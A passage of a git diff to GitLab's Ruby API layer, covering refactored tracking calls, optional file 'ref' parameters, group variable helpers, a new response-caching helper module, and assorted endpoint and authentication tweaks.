+ environments = ::EnvironmentsFinder.new(user_project, current_user, params).execute
present paginate(environments), with: Entities::Environment, current_user: current_user
end
diff --git a/lib/api/files.rb b/lib/api/files.rb
index cb73bde73f5..f3de7fbe96b 100644
--- a/lib/api/files.rb
+++ b/lib/api/files.rb
@@ -113,7 +113,7 @@ module API
desc 'Get raw file metadata from repository'
params do
requires :file_path, type: String, file_path: true, desc: 'The url encoded path to the file. Ex. lib%2Fclass%2Erb'
- requires :ref, type: String, desc: 'The name of branch, tag or commit', allow_blank: false
+ optional :ref, type: String, desc: 'The name of branch, tag or commit', allow_blank: false
end
head ":id/repository/files/:file_path/raw", requirements: FILE_ENDPOINT_REQUIREMENTS do
assign_file_vars!
@@ -124,7 +124,7 @@ module API
desc 'Get raw file contents from the repository'
params do
requires :file_path, type: String, file_path: true, desc: 'The url encoded path to the file. Ex. lib%2Fclass%2Erb'
- requires :ref, type: String, desc: 'The name of branch, tag commit', allow_blank: false
+ optional :ref, type: String, desc: 'The name of branch, tag or commit', allow_blank: false
end
get ":id/repository/files/:file_path/raw", requirements: FILE_ENDPOINT_REQUIREMENTS do
assign_file_vars!
diff --git a/lib/api/generic_packages.rb b/lib/api/generic_packages.rb
index 3d0ba97b51a..cce55fa92d9 100644
--- a/lib/api/generic_packages.rb
+++ b/lib/api/generic_packages.rb
@@ -62,7 +62,7 @@ module API
authorize_upload!(project)
bad_request!('File is too large') if max_file_size_exceeded?
- track_event('push_package')
+ ::Gitlab::Tracking.event(self.options[:for].name, 'push_package')
create_package_file_params = declared_params.merge(build: current_authenticated_job)
::Packages::Generic::CreatePackageFileService
@@ -94,7 +94,7 @@ module API
package = ::Packages::Generic::PackageFinder.new(project).execute!(params[:package_name], params[:package_version])
package_file = ::Packages::PackageFileFinder.new(package, params[:file_name]).execute!
- track_event('pull_package')
+ ::Gitlab::Tracking.event(self.options[:for].name, 'pull_package')
present_carrierwave_file!(package_file.file)
end
diff --git a/lib/api/group_variables.rb b/lib/api/group_variables.rb
index 09744fbeda2..8d52a0a5b4e 100644
--- a/lib/api/group_variables.rb
+++ b/lib/api/group_variables.rb
@@ -8,6 +8,8 @@ module API
before { authorize! :admin_group, user_group }
feature_category :continuous_integration
+ helpers Helpers::VariablesHelpers
+
params do
requires :id, type: String, desc: 'The ID of a group'
end
@@ -30,16 +32,13 @@ module API
params do
requires :key, type: String, desc: 'The key of the variable'
end
- # rubocop: disable CodeReuse/ActiveRecord
get ':id/variables/:key' do
- key = params[:key]
- variable = user_group.variables.find_by(key: key)
+ variable = find_variable(user_group, params)
break not_found!('GroupVariable') unless variable
present variable, with: Entities::Ci::Variable
end
- # rubocop: enable CodeReuse/ActiveRecord
desc 'Create a new variable in a group' do
success Entities::Ci::Variable
@@ -50,12 +49,19 @@ module API
optional :protected, type: String, desc: 'Whether the variable is protected'
optional :masked, type: String, desc: 'Whether the variable is masked'
optional :variable_type, type: String, values: ::Ci::GroupVariable.variable_types.keys, desc: 'The type of variable, must be one of env_var or file. Defaults to env_var'
+
+ use :optional_group_variable_params_ee
end
post ':id/variables' do
+ filtered_params = filter_variable_parameters(
+ user_group,
+ declared_params(include_missing: false)
+ )
+
variable = ::Ci::ChangeVariableService.new(
container: user_group,
current_user: current_user,
- params: { action: :create, variable_params: declared_params(include_missing: false) }
+ params: { action: :create, variable_params: filtered_params }
).execute
if variable.valid?
@@ -74,13 +80,19 @@ module API
optional :protected, type: String, desc: 'Whether the variable is protected'
optional :masked, type: String, desc: 'Whether the variable is masked'
optional :variable_type, type: String, values: ::Ci::GroupVariable.variable_types.keys, desc: 'The type of variable, must be one of env_var or file'
+
+ use :optional_group_variable_params_ee
end
- # rubocop: disable CodeReuse/ActiveRecord
put ':id/variables/:key' do
+ filtered_params = filter_variable_parameters(
+ user_group,
+ declared_params(include_missing: false)
+ )
+
variable = ::Ci::ChangeVariableService.new(
container: user_group,
current_user: current_user,
- params: { action: :update, variable_params: declared_params(include_missing: false) }
+ params: { action: :update, variable_params: filtered_params }
).execute
if variable.valid?
@@ -91,7 +103,6 @@ module API
rescue ::ActiveRecord::RecordNotFound
not_found!('GroupVariable')
end
- # rubocop: enable CodeReuse/ActiveRecord
desc 'Delete an existing variable from a group' do
success Entities::Ci::Variable
@@ -99,21 +110,18 @@ module API
params do
requires :key, type: String, desc: 'The key of the variable'
end
- # rubocop: disable CodeReuse/ActiveRecord
delete ':id/variables/:key' do
- variable = user_group.variables.find_by!(key: params[:key])
+ variable = find_variable(user_group, params)
+ break not_found!('GroupVariable') unless variable
destroy_conditionally!(variable) do |target_variable|
::Ci::ChangeVariableService.new(
container: user_group,
current_user: current_user,
- params: { action: :destroy, variable_params: declared_params(include_missing: false) }
+ params: { action: :destroy, variable: variable }
).execute
end
- rescue ::ActiveRecord::RecordNotFound
- not_found!('GroupVariable')
end
- # rubocop: enable CodeReuse/ActiveRecord
end
end
end
diff --git a/lib/api/groups.rb b/lib/api/groups.rb
index 26fa00d6186..912813d5bb7 100644
--- a/lib/api/groups.rb
+++ b/lib/api/groups.rb
@@ -52,9 +52,7 @@ module API
groups = groups.where.not(id: params[:skip_groups]) if params[:skip_groups].present?
order_options = { params[:order_by] => params[:sort] }
order_options["id"] ||= "asc"
- groups = groups.reorder(order_options)
-
- groups
+ groups.reorder(order_options)
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -112,7 +110,6 @@ module API
end
def delete_group(group)
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/46285')
destroy_conditionally!(group) do |group|
::Groups::DestroyService.new(group, current_user).async_execute
end
@@ -141,6 +138,10 @@ module API
def authorize_group_creation!
authorize! :create_group
end
+
+ def check_subscription!(group)
+ render_api_error!("This group can't be removed because it is linked to a subscription.", :bad_request) if group.paid?
+ end
end
resource :groups do
@@ -239,6 +240,7 @@ module API
delete ":id" do
group = find_group!(params[:id])
authorize! :admin_group, group
+ check_subscription! group
delete_group(group)
end
diff --git a/lib/api/helpers.rb b/lib/api/helpers.rb
index 9db4a03c5b9..2d8a4f60e2a 100644
--- a/lib/api/helpers.rb
+++ b/lib/api/helpers.rb
@@ -3,6 +3,7 @@
module API
module Helpers
include Gitlab::Utils
+ include Helpers::Caching
include Helpers::Pagination
include Helpers::PaginationStrategies
@@ -48,7 +49,11 @@ module API
# Returns the job associated with the token provided for
# authentication, if any
def current_authenticated_job
- @current_authenticated_job
+ if try(:namespace_inheritable, :authentication)
+ ci_build_from_namespace_inheritable
+ else
+ @current_authenticated_job # rubocop:disable Gitlab/ModuleWithInstanceVariables
+ end
end
# rubocop:disable Gitlab/ModuleWithInstanceVariables
@@ -539,17 +544,6 @@ module API
end
end
- def track_event(action = action_name, **args)
- category = args.delete(:category) || self.options[:for].name
- raise "invalid category" unless category
-
- ::Gitlab::Tracking.event(category, action.to_s, **args)
- rescue => error
- Gitlab::AppLogger.warn(
- "Tracking event failed for action: #{action}, category: #{category}, message: #{error.message}"
- )
- end
-
def increment_counter(event_name)
feature_name = "usage_data_#{event_name}"
return unless Feature.enabled?(feature_name)
@@ -564,10 +558,6 @@ module API
def increment_unique_values(event_name, values)
return unless values.present?
- feature_flag = "usage_data_#{event_name}"
-
- return unless Feature.enabled?(feature_flag, default_enabled: true)
-
Gitlab::UsageDataCounters::HLLRedisCounter.track_event(event_name, values: values)
rescue => error
Gitlab::AppLogger.warn("Redis tracking event failed for event: #{event_name}, message: #{error.message}")
diff --git a/lib/api/helpers/authentication.rb b/lib/api/helpers/authentication.rb
index a6cfe930190..da11f07485b 100644
--- a/lib/api/helpers/authentication.rb
+++ b/lib/api/helpers/authentication.rb
@@ -52,6 +52,11 @@ module API
token&.user
end
+ def ci_build_from_namespace_inheritable
+ token = token_from_namespace_inheritable
+ token if token.is_a?(::Ci::Build)
+ end
+
private
def find_token_from_raw_credentials(token_types, raw)
diff --git a/lib/api/helpers/caching.rb b/lib/api/helpers/caching.rb
new file mode 100644
index 00000000000..d0f22109879
--- /dev/null
+++ b/lib/api/helpers/caching.rb
@@ -0,0 +1,137 @@
+# frozen_string_literal: true
+
+# Grape helpers for caching.
+#
+# This module helps introduce standardised caching into the Grape API
+# in a similar manner to the standard Grape DSL.
+
+module API
+ module Helpers
+ module Caching
+ # @return [ActiveSupport::Duration]
+ DEFAULT_EXPIRY = 1.day
+
+ # @return [ActiveSupport::Cache::Store]
+ def cache
+ Rails.cache
+ end
+
+ # This is functionally equivalent to the standard `#present` used in
+ # Grape endpoints, but the JSON for the object, or for each object of
+ # a collection, will be cached.
+ #
+ # With a collection all the keys will be fetched in a single call and the
+ # Entity rendered for those missing from the cache, which are then written
+ # back into it.
+ #
+ # Both the single object, and all objects inside a collection, must respond
+ # to `#cache_key`.
+ #
+ # To override the Grape formatter we return a custom wrapper in
+ # `Gitlab::Json::PrecompiledJson` which tells the `Gitlab::Json::GrapeFormatter`
+ # to export the string without conversion.
+ #
+ # A cache context can be supplied to add more context to the cache key. This
+ # defaults to including the `current_user` in every key for safety, unless overridden.
+ #
+ # @param obj_or_collection [Object, Enumerable<Object>] the object or objects to render
+ # @param with [Grape::Entity] the entity to use for rendering
+ # @param cache_context [Proc] a proc to call for each object to provide more context to the cache key
+ # @param expires_in [ActiveSupport::Duration, Integer] an expiry time for the cache entry
+ # @param presenter_args [Hash] keyword arguments to be passed to the entity
+ # @return [Gitlab::Json::PrecompiledJson]
+ def present_cached(obj_or_collection, with:, cache_context: -> (_) { current_user.cache_key }, expires_in: DEFAULT_EXPIRY, **presenter_args)
+ json =
+ if obj_or_collection.is_a?(Enumerable)
+ cached_collection(
+ obj_or_collection,
+ presenter: with,
+ presenter_args: presenter_args,
+ context: cache_context,
+ expires_in: expires_in
+ )
+ else
+ cached_object(
+ obj_or_collection,
+ presenter: with,
+ presenter_args: presenter_args,
+ context: cache_context,
+ expires_in: expires_in
+ )
+ end
+
+ body Gitlab::Json::PrecompiledJson.new(json)
+ end
+
+ private
+
+ # Optionally uses a `Proc` to add context to a cache key
+ #
+ # @param object [Object] must respond to #cache_key
+ # @param context [Proc] a proc that will be called with the object as an argument, and which should return a
+ # string or array of strings to be combined into the cache key
+ # @return [String]
+ def contextual_cache_key(object, context)
+ return object.cache_key if context.nil?
+
+ [object.cache_key, context.call(object)].flatten.join(":")
+ end
+
+ # Used for fetching or rendering a single object
+ #
+ # @param object [Object] the object to render
+ # @param presenter [Grape::Entity]
+ # @param presenter_args [Hash] keyword arguments to be passed to the entity
+ # @param context [Proc]
+ # @param expires_in [ActiveSupport::Duration, Integer] an expiry time for the cache entry
+ # @return [String]
+ def cached_object(object, presenter:, presenter_args:, context:, expires_in:)
+ cache.fetch(contextual_cache_key(object, context), expires_in: expires_in) do
+ Gitlab::Json.dump(presenter.represent(object, **presenter_args).as_json)
+ end
+ end
+
+ # Used for fetching or rendering multiple objects
+ #
+ # @param objects [Enumerable<Object>] the objects to render
+ # @param presenter [Grape::Entity]
+ # @param presenter_args [Hash] keyword arguments to be passed to the entity
+ # @param context [Proc]
+ # @param expires_in [ActiveSupport::Duration, Integer] an expiry time for the cache entry
+ # @return [Array<String>]
+ def cached_collection(collection, presenter:, presenter_args:, context:, expires_in:)
+ json = fetch_multi(collection, context: context, expires_in: expires_in) do |obj|
+ Gitlab::Json.dump(presenter.represent(obj, **presenter_args).as_json)
+ end
+
+ json.values
+ end
+
+ # An adapted version of ActiveSupport::Cache::Store#fetch_multi.
+ #
+ # The original method only provides the missing key to the block,
+ # not the missing object, so we have to create a map of cache keys
+ # to the objects to allow us to pass the object to the missing value
+ # block.
+ #
+ # The result is that this is functionally identical to `#fetch`.
+ def fetch_multi(*objs, context:, **kwargs)
+ objs.flatten!
+ map = multi_key_map(objs, context: context)
+
+ cache.fetch_multi(*map.keys, **kwargs) do |key|
+ yield map[key]
+ end
+ end
+
+ # @param objects [Enumerable<Object>] objects which _must_ respond to `#cache_key`
+ # @param context [Proc] a proc that can be called to help generate each cache key
+ # @return [Hash]
+ def multi_key_map(objects, context:)
+ objects.index_by do |object|
+ contextual_cache_key(object, context)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/helpers/common_helpers.rb b/lib/api/helpers/common_helpers.rb
index a44fd4b0a5b..8940cf87f82 100644
--- a/lib/api/helpers/common_helpers.rb
+++ b/lib/api/helpers/common_helpers.rb
@@ -32,6 +32,10 @@ module API
end
end.compact.to_set
end
+
+ def endpoint_id
+ "#{request.request_method} #{route.origin}"
+ end
end
end
end
diff --git a/lib/api/helpers/graphql_helpers.rb b/lib/api/helpers/graphql_helpers.rb
index 3ddef0c16b3..4f7f85bd69d 100644
--- a/lib/api/helpers/graphql_helpers.rb
+++ b/lib/api/helpers/graphql_helpers.rb
@@ -6,8 +6,8 @@ module API
# against the graphql API. Helper code for the graphql server implementation
# should be in app/graphql/ or lib/gitlab/graphql/
module GraphqlHelpers
- def run_graphql!(query:, context: {}, transform: nil)
- result = GitlabSchema.execute(query, context: context)
+ def run_graphql!(query:, context: {}, variables: nil, transform: nil)
+ result = GitlabSchema.execute(query, variables: variables, context: context)
if transform
transform.call(result)
diff --git a/lib/api/helpers/notes_helpers.rb b/lib/api/helpers/notes_helpers.rb
index 71a18524104..cb938bc8a14 100644
--- a/lib/api/helpers/notes_helpers.rb
+++ b/lib/api/helpers/notes_helpers.rb
@@ -116,7 +116,7 @@ module API
end
def create_note(noteable, opts)
- whitelist_query_limiting
+ disable_query_limiting
authorize!(:create_note, noteable)
parent = noteable_parent(noteable)
@@ -144,8 +144,8 @@ module API
present discussion, with: Entities::Discussion
end
- def whitelist_query_limiting
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab/-/issues/211538')
+ def disable_query_limiting
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/211538')
end
end
end
diff --git a/lib/api/helpers/packages/conan/api_helpers.rb b/lib/api/helpers/packages/conan/api_helpers.rb
index d5f5448fd42..b18f52b5be6 100644
--- a/lib/api/helpers/packages/conan/api_helpers.rb
+++ b/lib/api/helpers/packages/conan/api_helpers.rb
@@ -14,7 +14,8 @@ module API
package,
current_user,
project,
- conan_package_reference: params[:conan_package_reference]
+ conan_package_reference: params[:conan_package_reference],
+ id: params[:id]
)
render_api_error!("No recipe manifest found", 404) if yield(presenter).empty?
@@ -31,19 +32,15 @@ module API
end
def recipe_upload_urls
- { upload_urls: Hash[
- file_names.select(&method(:recipe_file?)).map do |file_name|
- [file_name, build_recipe_file_upload_url(file_name)]
- end
- ] }
+ { upload_urls: file_names.select(&method(:recipe_file?)).to_h do |file_name|
+ [file_name, build_recipe_file_upload_url(file_name)]
+ end }
end
def package_upload_urls
- { upload_urls: Hash[
- file_names.select(&method(:package_file?)).map do |file_name|
- [file_name, build_package_file_upload_url(file_name)]
- end
- ] }
+ { upload_urls: file_names.select(&method(:package_file?)).to_h do |file_name|
+ [file_name, build_package_file_upload_url(file_name)]
+ end }
end
def recipe_file?(file_name)
@@ -212,10 +209,8 @@ module API
end
def find_personal_access_token
- personal_access_token = find_personal_access_token_from_conan_jwt ||
+ find_personal_access_token_from_conan_jwt ||
find_personal_access_token_from_http_basic_auth
-
- personal_access_token
end
def find_user_from_job_token
diff --git a/lib/api/helpers/packages/dependency_proxy_helpers.rb b/lib/api/helpers/packages/dependency_proxy_helpers.rb
index 577ba97d68a..989c4e1761b 100644
--- a/lib/api/helpers/packages/dependency_proxy_helpers.rb
+++ b/lib/api/helpers/packages/dependency_proxy_helpers.rb
@@ -10,7 +10,7 @@ module API
def redirect_registry_request(forward_to_registry, package_type, options)
if forward_to_registry && redirect_registry_request_available?
- track_event("#{package_type}_request_forward")
+ ::Gitlab::Tracking.event(self.options[:for].name, "#{package_type}_request_forward")
redirect(registry_url(package_type, options))
else
yield
diff --git a/lib/api/helpers/packages_helpers.rb b/lib/api/helpers/packages_helpers.rb
index e1898d28ef7..2221eec0f82 100644
--- a/lib/api/helpers/packages_helpers.rb
+++ b/lib/api/helpers/packages_helpers.rb
@@ -50,7 +50,8 @@ module API
def track_package_event(event_name, scope, **args)
::Packages::CreateEventService.new(nil, current_user, event_name: event_name, scope: scope).execute
- track_event(event_name, **args)
+ category = args.delete(:category) || self.options[:for].name
+ ::Gitlab::Tracking.event(category, event_name.to_s, **args)
end
end
end
diff --git a/lib/api/helpers/runner.rb b/lib/api/helpers/runner.rb
index 39586483990..688cd2da994 100644
--- a/lib/api/helpers/runner.rb
+++ b/lib/api/helpers/runner.rb
@@ -38,10 +38,17 @@ module API
end
end
+ # HTTP status codes to terminate the job on GitLab Runner:
+ # - 403
def authenticate_job!(require_running: true)
job = current_job
- not_found! unless job
+ # 404 is not returned here because we want to terminate the job if it's
+ # running. A 404 can be returned from anywhere in the networking stack which is why
+ # we are explicit about a 403, we should improve this in
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/327703
+ forbidden! unless job
+
forbidden! unless job_token_valid?(job)
forbidden!('Project has been deleted!') if job.project.nil? || job.project.pending_delete?
diff --git a/lib/api/helpers/services_helpers.rb b/lib/api/helpers/services_helpers.rb
index ed3d694f006..2f2ad88c942 100644
--- a/lib/api/helpers/services_helpers.rb
+++ b/lib/api/helpers/services_helpers.rb
@@ -394,7 +394,7 @@ module API
required: true,
name: :external_wiki_url,
type: String,
- desc: 'The URL of the external Wiki'
+ desc: 'The URL of the external wiki'
}
],
'flowdock' => [
@@ -543,9 +543,15 @@ module API
},
{
required: false,
+ name: :jira_issue_transition_automatic,
+ type: Boolean,
+ desc: 'Enable automatic issue transitions'
+ },
+ {
+ required: false,
name: :jira_issue_transition_id,
type: String,
- desc: 'The ID of a transition that moves issues to a closed state. You can find this number under the Jira workflow administration (**Administration > Issues > Workflows**) by selecting **View** under **Operations** of the desired workflow of your project. The ID of each state can be found inside the parenthesis of each transition name under the **Transitions (id)** column ([see screenshot][trans]). By default, this ID is set to `2`'
+ desc: 'The ID of one or more transitions for custom issue transitions'
},
{
required: false,
diff --git a/lib/api/helpers/variables_helpers.rb b/lib/api/helpers/variables_helpers.rb
new file mode 100644
index 00000000000..e2b3372fc33
--- /dev/null
+++ b/lib/api/helpers/variables_helpers.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module API
+ module Helpers
+ module VariablesHelpers
+ extend ActiveSupport::Concern
+ extend Grape::API::Helpers
+
+ params :optional_group_variable_params_ee do
+ end
+
+ def filter_variable_parameters(_, params)
+ params # Overridden in EE
+ end
+
+ def find_variable(owner, params)
+ variables = ::Ci::VariablesFinder.new(owner, params).execute.to_a
+
+ return variables.first unless variables.many? # rubocop: disable CodeReuse/ActiveRecord
+
+ conflict!("There are multiple variables with provided parameters. Please use 'filter[environment_scope]'")
+ end
+ end
+ end
+end
+
+API::Helpers::VariablesHelpers.prepend_if_ee('EE::API::Helpers::VariablesHelpers')
diff --git a/lib/api/internal/base.rb b/lib/api/internal/base.rb
index a3fee49cd8f..4dcfc0cf7eb 100644
--- a/lib/api/internal/base.rb
+++ b/lib/api/internal/base.rb
@@ -15,7 +15,7 @@ module API
Gitlab::ApplicationContext.push(
user: -> { actor&.user },
project: -> { project },
- caller_id: route.origin,
+ caller_id: api_endpoint.endpoint_id,
remote_ip: request.ip,
feature_category: feature_category
)
@@ -23,7 +23,7 @@ module API
helpers ::API::Helpers::InternalHelpers
- UNKNOWN_CHECK_RESULT_ERROR = 'Unknown check result'.freeze
+ UNKNOWN_CHECK_RESULT_ERROR = 'Unknown check result'
VALID_PAT_SCOPES = Set.new(
Gitlab::Auth::API_SCOPES + Gitlab::Auth::REPOSITORY_SCOPES + Gitlab::Auth::REGISTRY_SCOPES
@@ -52,20 +52,20 @@ module API
actor.update_last_used_at!
check_result = begin
- Gitlab::Auth::CurrentUserMode.bypass_session!(actor.user&.id) do
- access_check!(actor, params)
- end
- rescue Gitlab::GitAccess::ForbiddenError => e
- # The return code needs to be 401. If we return 403
- # the custom message we return won't be shown to the user
- # and, instead, the default message 'GitLab: API is not accessible'
- # will be displayed
- return response_with_status(code: 401, success: false, message: e.message)
- rescue Gitlab::GitAccess::TimeoutError => e
- return response_with_status(code: 503, success: false, message: e.message)
- rescue Gitlab::GitAccess::NotFoundError => e
- return response_with_status(code: 404, success: false, message: e.message)
- end
+ with_admin_mode_bypass!(actor.user&.id) do
+ access_check!(actor, params)
+ end
+ rescue Gitlab::GitAccess::ForbiddenError => e
+ # The return code needs to be 401. If we return 403
+ # the custom message we return won't be shown to the user
+ # and, instead, the default message 'GitLab: API is not accessible'
+ # will be displayed
+ return response_with_status(code: 401, success: false, message: e.message)
+ rescue Gitlab::GitAccess::TimeoutError => e
+ return response_with_status(code: 503, success: false, message: e.message)
+ rescue Gitlab::GitAccess::NotFoundError => e
+ return response_with_status(code: 404, success: false, message: e.message)
+ end
log_user_activity(actor.user)
@@ -109,9 +109,7 @@ module API
end
end
- def validate_actor_key(actor, key_id)
- return 'Could not find a user without a key' unless key_id
-
+ def validate_actor(actor)
return 'Could not find the given key' unless actor.key
'Could not find a user for the given key' unless actor.user
@@ -120,6 +118,19 @@ module API
def two_factor_otp_check
{ success: false, message: 'Feature is not available' }
end
+
+ def with_admin_mode_bypass!(actor_id)
+ return yield unless Gitlab::CurrentSettings.admin_mode
+
+ Gitlab::Auth::CurrentUserMode.bypass_session!(actor_id) do
+ yield
+ end
+ end
+
+ # Overridden in EE
+ def geo_proxy
+ {}
+ end
end
namespace 'internal' do
@@ -193,7 +204,7 @@ module API
actor.update_last_used_at!
user = actor.user
- error_message = validate_actor_key(actor, params[:key_id])
+ error_message = validate_actor(actor)
if params[:user_id] && user.nil?
break { success: false, message: 'Could not find the given user' }
@@ -222,7 +233,7 @@ module API
actor.update_last_used_at!
user = actor.user
- error_message = validate_actor_key(actor, params[:key_id])
+ error_message = validate_actor(actor)
break { success: false, message: 'Deploy keys cannot be used to create personal access tokens' } if actor.key.is_a?(DeployKey)
@@ -295,7 +306,7 @@ module API
actor.update_last_used_at!
user = actor.user
- error_message = validate_actor_key(actor, params[:key_id])
+ error_message = validate_actor(actor)
if error_message
{ success: false, message: error_message }
@@ -314,6 +325,12 @@ module API
two_factor_otp_check
end
+
+ # Workhorse calls this to determine if it is a Geo secondary site
+ # that should proxy requests. FOSS can quickly return empty data.
+ get '/geo_proxy', feature_category: :geo_replication do
+ geo_proxy
+ end
end
end
end
diff --git a/lib/api/internal/kubernetes.rb b/lib/api/internal/kubernetes.rb
index 87ad79d601f..af2c53dd778 100644
--- a/lib/api/internal/kubernetes.rb
+++ b/lib/api/internal/kubernetes.rb
@@ -13,7 +13,7 @@ module API
helpers do
def authenticate_gitlab_kas_request!
- unauthorized! unless Gitlab::Kas.verify_api_request(headers)
+ render_api_error!('KAS JWT authentication invalid', 401) unless Gitlab::Kas.verify_api_request(headers)
end
def agent_token
@@ -51,9 +51,11 @@ module API
end
def check_agent_token
- forbidden! unless agent_token
+ unauthorized! unless agent_token
forbidden! unless Gitlab::Kas.included_in_gitlab_com_rollout?(agent.project)
+
+ agent_token.track_usage
end
end
diff --git a/lib/api/invitations.rb b/lib/api/invitations.rb
index 52c32b4d1cf..0d562cc18f8 100644
--- a/lib/api/invitations.rb
+++ b/lib/api/invitations.rb
@@ -25,11 +25,11 @@ module API
optional :expires_at, type: DateTime, desc: 'Date string in the format YEAR-MONTH-DAY'
end
post ":id/invitations" do
- source = find_source(source_type, params[:id])
+ params[:source] = find_source(source_type, params[:id])
- authorize_admin_source!(source_type, source)
+ authorize_admin_source!(source_type, params[:source])
- ::Members::InviteService.new(current_user, params).execute(source)
+ ::Members::InviteService.new(current_user, params).execute
end
desc 'Get a list of group or project invitations viewable by the authenticated user' do
diff --git a/lib/api/issue_links.rb b/lib/api/issue_links.rb
index e938dbbae87..1cd5bde224b 100644
--- a/lib/api/issue_links.rb
+++ b/lib/api/issue_links.rb
@@ -18,7 +18,10 @@ module API
end
get ':id/issues/:issue_iid/links' do
source_issue = find_project_issue(params[:issue_iid])
- related_issues = source_issue.related_issues(current_user)
+ related_issues = source_issue.related_issues(current_user) do |issues|
+ issues.with_api_entity_associations.preload_awardable
+ end
+ related_issues.each { |issue| issue.lazy_subscription(current_user, user_project) } # preload subscriptions
present related_issues,
with: Entities::RelatedIssue,
diff --git a/lib/api/issues.rb b/lib/api/issues.rb
index 13dac1c174c..4f2ac73c0d3 100644
--- a/lib/api/issues.rb
+++ b/lib/api/issues.rb
@@ -242,7 +242,7 @@ module API
use :issue_params
end
post ':id/issues' do
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42320')
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/21140')
check_rate_limit! :issues_create, [current_user]
@@ -288,7 +288,7 @@ module API
end
# rubocop: disable CodeReuse/ActiveRecord
put ':id/issues/:issue_iid' do
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42322')
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20775')
issue = user_project.issues.find_by!(iid: params.delete(:issue_iid))
authorize! :update_issue, issue
@@ -346,7 +346,7 @@ module API
end
# rubocop: disable CodeReuse/ActiveRecord
post ':id/issues/:issue_iid/move' do
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42323')
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20776')
issue = user_project.issues.find_by(iid: params[:issue_iid])
not_found!('Issue') unless issue
diff --git a/lib/api/jobs.rb b/lib/api/jobs.rb
index 7390219b60e..54951f9bd01 100644
--- a/lib/api/jobs.rb
+++ b/lib/api/jobs.rb
@@ -6,8 +6,6 @@ module API
before { authenticate! }
- feature_category :continuous_integration
-
resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
params do
requires :id, type: String, desc: 'The ID of a project'
@@ -40,7 +38,7 @@ module API
use :pagination
end
# rubocop: disable CodeReuse/ActiveRecord
- get ':id/jobs' do
+ get ':id/jobs', feature_category: :continuous_integration do
authorize_read_builds!
builds = user_project.builds.order('id DESC')
@@ -57,7 +55,7 @@ module API
params do
requires :job_id, type: Integer, desc: 'The ID of a job'
end
- get ':id/jobs/:job_id' do
+ get ':id/jobs/:job_id', feature_category: :continuous_integration do
authorize_read_builds!
build = find_build!(params[:job_id])
@@ -72,7 +70,7 @@ module API
params do
requires :job_id, type: Integer, desc: 'The ID of a job'
end
- get ':id/jobs/:job_id/trace' do
+ get ':id/jobs/:job_id/trace', feature_category: :continuous_integration do
authorize_read_builds!
build = find_build!(params[:job_id])
@@ -94,7 +92,7 @@ module API
params do
requires :job_id, type: Integer, desc: 'The ID of a job'
end
- post ':id/jobs/:job_id/cancel' do
+ post ':id/jobs/:job_id/cancel', feature_category: :continuous_integration do
authorize_update_builds!
build = find_build!(params[:job_id])
@@ -111,7 +109,7 @@ module API
params do
requires :job_id, type: Integer, desc: 'The ID of a build'
end
- post ':id/jobs/:job_id/retry' do
+ post ':id/jobs/:job_id/retry', feature_category: :continuous_integration do
authorize_update_builds!
build = find_build!(params[:job_id])
@@ -129,7 +127,7 @@ module API
params do
requires :job_id, type: Integer, desc: 'The ID of a build'
end
- post ':id/jobs/:job_id/erase' do
+ post ':id/jobs/:job_id/erase', feature_category: :continuous_integration do
authorize_update_builds!
build = find_build!(params[:job_id])
@@ -148,7 +146,7 @@ module API
requires :job_id, type: Integer, desc: 'The ID of a Job'
end
- post ":id/jobs/:job_id/play" do
+ post ":id/jobs/:job_id/play", feature_category: :continuous_integration do
authorize_read_builds!
job = find_job!(params[:job_id])
@@ -174,10 +172,8 @@ module API
success Entities::Ci::Job
end
route_setting :authentication, job_token_allowed: true
- get do
- # current_authenticated_job will be nil if user is using
- # a valid authentication that is not CI_JOB_TOKEN
- not_found!('Job') unless current_authenticated_job
+ get '', feature_category: :continuous_integration do
+ validate_current_authenticated_job
present current_authenticated_job, with: Entities::Ci::Job
end
@@ -196,6 +192,14 @@ module API
builds.where(status: available_statuses && scope)
end
# rubocop: enable CodeReuse/ActiveRecord
+
+ def validate_current_authenticated_job
+ # current_authenticated_job will be nil if user is using
+ # a valid authentication (like PRIVATE-TOKEN) that is not CI_JOB_TOKEN
+ not_found!('Job') unless current_authenticated_job
+ end
end
end
end
+
+API::Jobs.prepend_if_ee('EE::API::Jobs')
diff --git a/lib/api/maven_packages.rb b/lib/api/maven_packages.rb
index 4a5b2ead163..bd1d984719e 100644
--- a/lib/api/maven_packages.rb
+++ b/lib/api/maven_packages.rb
@@ -23,6 +23,15 @@ module API
helpers ::API::Helpers::PackagesHelpers
helpers do
+ def path_exists?(path)
+ # return true when FF disabled so that processing the request is not stopped
+ return true unless Feature.enabled?(:check_maven_path_first)
+ return false if path.blank?
+
+ Packages::Maven::Metadatum.with_path(path)
+ .exists?
+ end
+
def extract_format(file_name)
name, _, format = file_name.rpartition('.')
@@ -77,6 +86,22 @@ module API
request.head? &&
file.fog_credentials[:provider] == 'AWS'
end
+
+ def fetch_package(file_name:, project: nil, group: nil)
+ order_by_package_file = false
+ if Feature.enabled?(:maven_packages_group_level_improvements, default_enabled: :yaml)
+ order_by_package_file = file_name.include?(::Packages::Maven::Metadata.filename) &&
+ !params[:path].include?(::Packages::Maven::FindOrCreatePackageService::SNAPSHOT_TERM)
+ end
+
+ ::Packages::Maven::PackageFinder.new(
+ params[:path],
+ current_user,
+ project: project,
+ group: group,
+ order_by_package_file: order_by_package_file
+ ).execute!
+ end
end
desc 'Download the maven package file at instance level' do
@@ -88,6 +113,9 @@ module API
end
route_setting :authentication, job_token_allowed: true, deploy_token_allowed: true
